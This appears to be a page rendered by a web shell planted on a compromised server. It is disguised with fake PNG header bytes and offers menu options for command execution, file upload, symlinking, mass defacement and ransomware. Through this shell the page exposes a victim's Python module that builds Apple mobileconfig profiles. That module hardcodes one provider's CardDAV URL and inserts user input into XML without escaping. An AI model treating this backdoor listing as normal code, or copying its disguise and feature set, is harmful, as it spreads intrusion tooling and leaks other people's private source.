\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/mobile-ob/LanguageLearner/utils/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/mobile-ob/LanguageLearner/utils/mobileconfig.py


import uuid
from datetime import datetime
import logging

logger = logging.getLogger(__name__)

def generate_mobileconfig(data):
    """
    Generate an Apple mobileconfig file for email, CalDAV, and CardDAV configuration
    """
    try:
        profile_uuid = str(uuid.uuid4())
        email_payload_uuid = str(uuid.uuid4())
        caldav_payload_uuid = str(uuid.uuid4())
        carddav_payload_uuid = str(uuid.uuid4())

        # Email payload
        email_payload = f'''    <dict>
        <key>EmailAccountDescription</key>
        <string>{data['name']}</string>
        <key>EmailAccountName</key>
        <string>{data['name']}</string>
        <key>EmailAccountType</key>
        <string>EmailTypeIMAP</string>
        <key>EmailAddress</key>
        <string>{data['email']}</string>
        <key>IncomingMailServerAuthentication</key>
        <string>EmailAuthPassword</string>
        <key>IncomingMailServerHostName</key>
        <string>{data['imap_host']}</string>
        <key>IncomingMailServerPortNumber</key>
        <integer>{data['imap_port']}</integer>
        <key>IncomingMailServerUseSSL</key>
        <{str(data['use_ssl']).lower()}/>
        <key>IncomingMailServerUsername</key>
        <string>{data['username']}</string>
        <key>OutgoingMailServerAuthentication</key>
        <string>EmailAuthPassword</string>
        <key>OutgoingMailServerHostName</key>
        <string>{data['smtp_host']}</string>
        <key>OutgoingMailServerPortNumber</key>
        <integer>{data['smtp_port']}</integer>
        <key>OutgoingMailServerUseSSL</key>
        <{str(data['use_ssl']).lower()}/>
        <key>OutgoingMailServerUsername</key>
        <string>{data['username']}</string>
        <key>PayloadDescription</key>
        <string>Email account configuration</string>
        <key>PayloadDisplayName</key>
        <string>Email ({data['email']})</string>
        <key>PayloadIdentifier</key>
        <string>com.apple.mail.managed.{email_payload_uuid}</string>
        <key>PayloadType</key>
        <string>com.apple.mail.managed</string>
        <key>PayloadUUID</key>
        <string>{email_payload_uuid}</string>
        <key>PayloadVersion</key>
        <integer>1</integer>
    </dict>'''

        payloads = [email_payload]

        # Add CalDAV payload if CalDAV server is specified
        if data.get('caldav_host'):
            try:
                caldav_port = data.get('caldav_port', '443')
                caldav_path = data.get('caldav_path', '/dav/user/Calendar/')
                caldav_username = data.get('caldav_username', data['username'])

                caldav_payload = f'''    <dict>
        <key>PayloadDescription</key>
        <string>Configures CalDAV account</string>
        <key>PayloadDisplayName</key>
        <string>Calendar ({data['email']})</string>
        <key>PayloadIdentifier</key>
        <string>com.apple.caldav.account.{caldav_payload_uuid}</string>
        <key>PayloadType</key>
        <string>com.apple.caldav.account</string>
        <key>PayloadUUID</key>
        <string>{caldav_payload_uuid}</string>
        <key>PayloadVersion</key>
        <integer>1</integer>
        <key>CalDAVAccountDescription</key>
        <string>{data['name']} Calendar</string>
        <key>CalDAVHostName</key>
        <string>{data['caldav_host']}</string>
        <key>CalDAVUsername</key>
        <string>{caldav_username}</string>
        <key>CalDAVUseSSL</key>
        <{str(data['use_ssl']).lower()}/>
        <key>CalDAVPort</key>
        <integer>{caldav_port}</integer>
        <key>CalDAVPrincipalURL</key>
        <string>{caldav_path}</string>
    </dict>'''
                payloads.append(caldav_payload)
                logger.debug("CalDAV payload generated successfully")
            except Exception as e:
                logger.error(f"Error generating CalDAV payload: {str(e)}")
                # Continue without CalDAV if there's an error

        # Add CardDAV payload if CardDAV server is specified
        if data.get('carddav_host'):
            try:
                carddav_port = data.get('carddav_port', '443')
                # Updated path structure for CardDAV to match exact URL
                carddav_url = f"https://mail.hepsibulutta.com/home/{data['email']}/Contacts"

                carddav_payload = f'''    <dict>
        <key>PayloadDescription</key>
        <string>Configures CardDAV account</string>
        <key>PayloadDisplayName</key>
        <string>Contacts ({data['email']})</string>
        <key>PayloadIdentifier</key>
        <string>com.apple.carddav.account.{carddav_payload_uuid}</string>
        <key>PayloadType</key>
        <string>com.apple.carddav.account</string>
        <key>PayloadUUID</key>
        <string>{carddav_payload_uuid}</string>
        <key>PayloadVersion</key>
        <integer>1</integer>
        <key>CardDAVAccountDescription</key>
        <string>{data['name']} Contacts</string>
        <key>CardDAVHostName</key>
        <string>{data['carddav_host']}</string>
        <key>CardDAVUsername</key>
        <string>{data['username']}</string>
        <key>CardDAVUseSSL</key>
        <{str(data['use_ssl']).lower()}/>
        <key>CardDAVPort</key>
        <integer>{carddav_port}</integer>
        <key>CardDAVPrincipalURL</key>
        <string>{carddav_url}</string>
    </dict>'''
                payloads.append(carddav_payload)
                logger.debug("CardDAV payload generated successfully")
            except Exception as e:
                logger.error(f"Error generating CardDAV payload: {str(e)}")
                # Continue without CardDAV if there's an error

        # Combine all payloads with proper indentation
        xml_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>PayloadContent</key>
    <array>
{chr(10).join(payloads)}
    </array>
    <key>PayloadDisplayName</key>
    <string>Mail, Calendar and Contacts Account ({data['email']})</string>
    <key>PayloadIdentifier</key>
    <string>com.example.config.{profile_uuid}</string>
    <key>PayloadRemovalDisallowed</key>
    <false/>
    <key>PayloadType</key>
    <string>Configuration</string>
    <key>PayloadUUID</key>
    <string>{profile_uuid}</string>
    <key>PayloadVersion</key>
    <integer>1</integer>
</dict>
</plist>'''

        logger.debug("Mobileconfig XML generated successfully")
        return xml_content

    except Exception as e:
        logger.error(f"Error generating mobileconfig: {str(e)}")
        raise

© KUJUNTI.ID